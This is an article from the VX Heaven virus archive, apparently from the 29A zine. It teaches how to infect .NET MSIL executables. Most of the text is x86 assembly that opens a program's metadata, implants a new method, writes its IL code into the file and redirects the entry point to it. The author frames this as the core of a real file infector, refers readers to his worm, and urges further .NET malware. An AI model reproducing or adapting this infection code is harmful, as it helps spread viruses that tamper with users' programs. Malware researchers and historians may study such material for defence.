Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

MSIL-PE-EXE infection strategies

Benny
29a [7]
February 2004

1
[Back to index] [Comments]

In my last article about .NET platform called "Microsoft .NET Common Language Runtime Overview" I introduced technologies that .NET Framework Beta2 provides us. I also showed infector for .NET applications written in C# (called "Donut" by AVerz). Very soon after publishing Microsoft released sharp version of Visual Studio .NET. Since that time nothing changed at all, this version does not differ from the beta2 much. But I had more time, documentation and knowledge to explore this environment.

When I was coding I-Worm.Serotonin I wanted to go more futher rather than with Donut. Donut was able to replace CLR header and metadata by some strange way with its own and by other non-effective way execute back the host program. I was sure there must exist some way how to code REAL file infector for .NET programs. Time had passed on, next step was awaited. Not replace, but infect metadata by adding new viral data, ansuring their primary activation right and calling back the host program. That meant to analyse a structure of metadata and find a way how to implant new members to current code without any bugs and suspicious actions on user's screen.

While analysing CLR documentation I found out the environment disposes of rich interface for working with it and that this is very transparent - it allows to access it from both of inside managed program and outside it (for native applications). Tools and helper programs don't need to access metadata directly. All they have to do is call proper environment functions. Compilers, linkers, debuggers, they don't need to know almost no internal structures, everything is managed by system.

Note:Include file COR.INC that helps to handle CLR and metadata structures is possible to find in this issue (29A#7). You can find detailed Microsoft documentation at MSVS_NET_PATH\FrameworkSDK\Tool Developers guide\docs.

As I said before, CLR environment provides some COM interfaces. Those basic ones (discussed here) are these:

For metadata opening:

	IMetaDataDispenser
	IMetaDataDispenserEx

For metadata (and manifest) modification:

	IMetaDataEmit
	IMetaDataAssemblyEmit

For metadata (and manifest) analysis:

	IMetaDataImport
	IMetaDataAssemblyImport

I will start with the simplest task - let's open metadata of file stored on disk. At first we have to initialize COM and create "Dispenser" object which will give us requested interface. Here comes the code:

	push	0			;reserved, must be 0
	call	CoInitialize


	push	offset ppv		;pointer to returned interface
	call	@over_iid
	IID_IMetaDataDispenserEx	;required interface identifier
@over_iid:
	push	1			;CLSCTX_INPROC_SERVER
	push	0			;not part of an agregate
	call	@over_clsid
	CLSID_CorMetaDataDispenser	;object identifier
@over_clsid:
	call	CoCreateInstance

Now we have a pointer to requested IMetaDataDispenserEx interface and we can call its methods:

	DefineScope
	OpenScope
	OpenScopeOnMemory

The most interesting method is OpenScope that allows elegantly access metadata from executable file stored on disk. This method returns an interface (IMetaDataEmit, IMetaDataImport, IMetaDataAssemblyEmit or IMetaDataAssemblyImport) thru which we can access metadata members.

	push	offset pEmit		;pointer to returned interface
	call	@over_iid2
	IID_IMetaDataEmit		;requested interface identifier
@over_iid2:
	push	0			;open for read (1 for write)
	call	@over_wsz		;filename in unicode
	dw	'c',':','\','p','r','o','g','.','e','x','e',0
@over_wsz:
	mov	eax,[ppv]		;EAX = pointer to Dispenser object
	push	eax			;"this" calling convention
	mov	eax,[eax]
	call	[eax.IMetaDataDispenser_OpenScope]

And now we will try to do something more difficult - declare new global method "void METHOD_IMPLANTED()" in metadata:

	push	offset mdToken		;returned method token
	push	0			;implementation flags
	push	0			;RVA of method IL code (can be set l8er by SetRVA method)
	push	3			;number of bytes in signature
	call	@over_sig
	db	IMAGE_CEE_CS_CALLCONV_HASTHIS,0,ELEMENT_TYPE_VOID
@over_sig:				;method signature (in/out arguments)
	push	mdPrivate or mdStatic	;method attributes
	call	@over_wsz2
	dw	'M','E','T','H','O','D','_','I','M','P','L','A','N','T','E','D',0
@over_wsz2:				;method name
	push	0			;0 = global method
	mov	eax,[pEmit]		;EAX = pointer to Emitter
	push	eax
	mov	eax,[eax]
	call	[eax.IMetaDataEmit_DefineMethod]

Similarly we can call other Emitter methods. When everything is finished we should not forget to release all objects from memory:

	mov	eax,[pEmit]
	push	eax
	mov	eax,[eax]
	call	[eax.IUnknown_Release]

	mov	eax,[ppv]
	push	eax
	mov	eax,[eax]
	call	[eax.IUnknown_Release]

I won't go deeper in details here, all these methods (used by compilers to generate metadata) are very well documented. It will be better to look at some other useful but not so well documented stuff - interface for linkers. You probably know that metadata itself is not enough to execute the program, metadata describes only application's object layout. Full-functional program have to be linked as PE EXE file where are stored not only metadata but also MSIL code - that can be stored in any readable section. So, in a short form, all we have to do is re-compile and re-link the file using new metadata.

Only documentation I was able to find is one header file stored like MSVS_NET_Path\FrameworkSDK\Include\ICeeFileGen.h. ICeeFileGen class is described there and all its public methods. There are described also two APIs, CreateICeeFileGen and DestroyICeeFileGen. Source code itself helps to understand that it's a description of object (and its interface) used for executable file generation. But where can we find the code of that?

Look at folder of .NET Framework core (%windir%\Microsoft.NET\Framework\v1.0.3705\) and focus on mscorpe.dll. This is our golden treasure we are looking for. Check which APIs it exports and you will find out that it corresponds with ICeeFileGen.h file.

So, here we go:

	@pushsz	'mscorpe'		;name of DLL
	call	LoadLibraryA		;load it
	xchg	eax,ebx			;address in EBX

	@pushsz	'DestroyICeeFileGen'
	push	ebx
	call	GetProcAddress
	xchg	eax,esi			;address of DestroyICeeFileGen API in ESI

	@pushsz	'CreateICeeFileGen'
	push	ebx
	call	GetProcAddress		;address of CreateICeeFileGen API in EAX

	push	offset ICeeFileGen	;pointer to interface variable
	call	eax			;create object interface

	mov	edi,[ICeeFileGen]	;pointer to interface in EDI
	mov	edi,[edi]		;interface in EDI

	push	offset file_handle
	call	[edi.ICeeFileGen_CreateCeeFile]
					;object initialization



	call	@over_outwsz
	dw	'c',':','\','o','u','t','p','u','t','.','e','x','e',0
@over_outwsz:
	push	[file_handle]
	call	[edi.ICeeFileGen_SetOutputFileName]
					;set output file to "c:\output.exe"

	;we also have to write new IL code to our file. we will reserve a place in PE
	;file (so called "section") and copy there our data. everything is done in
	;memory, all datas are flushed on disk at final stage.

	push	[file_handle]
	call	[edi.ICeeFileGen_LinkCeeFile]
					;before we will start to work with addresses
					;we have to re-link program in memory

	push	offset il_section
	push	[file_handle]
	call	[edi.ICeeFileGen_GetIlSection]
					;request section for IL code

	push	offset il_section_rva
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionRVA]
					;we have to know RVA of section

	push	offset raw_il_section
	push	1
	push	4
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionBlock]
					;allocate 4 bytes. we won't use them, it is
					;only a trick to get offset in section

	push	offset il_section_offset
	push	[raw_il_section]
	push	[il_section]
	call	[edi.ICeeFileGen_ComputeSectionOffset]
					;now we know offset in our section


	;we will set RVA of our new method

	mov	eax,offset il_section_rva
	push	eax			;EAX = section address
	add	[eax],12345678h		;EAX += offset in section
il_section_offset = dword ptr $-4
	add	dword ptr [eax],4	;EAX += 4 (we have to skip first allocated bytes)
	push	dword ptr [eax]
	push	[mdToken]
	mov	eax,[pEmit]
	push	eax
	mov	eax,[eax]
	call	[eax.IMetaDataEmit_SetRVA]


	;we will reserve next place for our code, immediately following our 4 bytez

	push	offset raw_il_section
	push	1
	push	IL_code_size
	push	[il_section]
	call	[edi.ICeeFileGen_GetSectionBlock]

	pushad
	mov	esi,offset IL_code	;address of IL code of our new method
	mov	edi,12345678h		;target memory address
raw_il_section = dword ptr $-4
	mov	ecx,IL_code_size	;size of IL code
	rep	movsb			;copy IL code to file
	popad



	...				;other stuff defining parameters of linking



	push	[mdToken]
	push	[file_handle]
	call	[edi.ICeeFileGen_SetEntryPoint]
					;set entrypoint to our new method

	push	[pEmit]
	push	[file_handle]
	call	[edi.ICeeFileGen_EmitMetaDataEx]
					;write metadata to file

	push	[file_handle]
	call	[edi.ICeeFileGen_LinkCeeFile]
					;re-link PE file in memory

	push	[file_handle]
	call	[edi.ICeeFileGen_GenerateCeeFile]
					;write PE file to disk



	push	offset file_handle
	call	[edi.ICeeFileGen_DestroyCeeFile]
					;unitialize object
	push	offset ICeeFileGen
	call	esi			;release object from memory

	push	ebx
	call	FreeLibrary		;release library from memory

And that's all. As you can see, it is very simple and effective. If you want to see real functional code working on this base, look at my I-Worm.Serotonin. Everything mentioned here and many many more can be found there.

.NET CLR environment is very pleasant to viral infiltrations. It provides such abstraction that author does not care of almost no implementation stuff. There are much more features in this environment I hadn't described. Nothing is impossible. I am VERY sure that it is possible to implement most viral techniques and strategies that we know from Win32 world. It only depends on our patience and time we want to invest to our .NET malware code.

						................................
						.
						.  Jan 25 2003	Benny/29A
						.		[email protected]
						.
						... searching for perfection ...
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua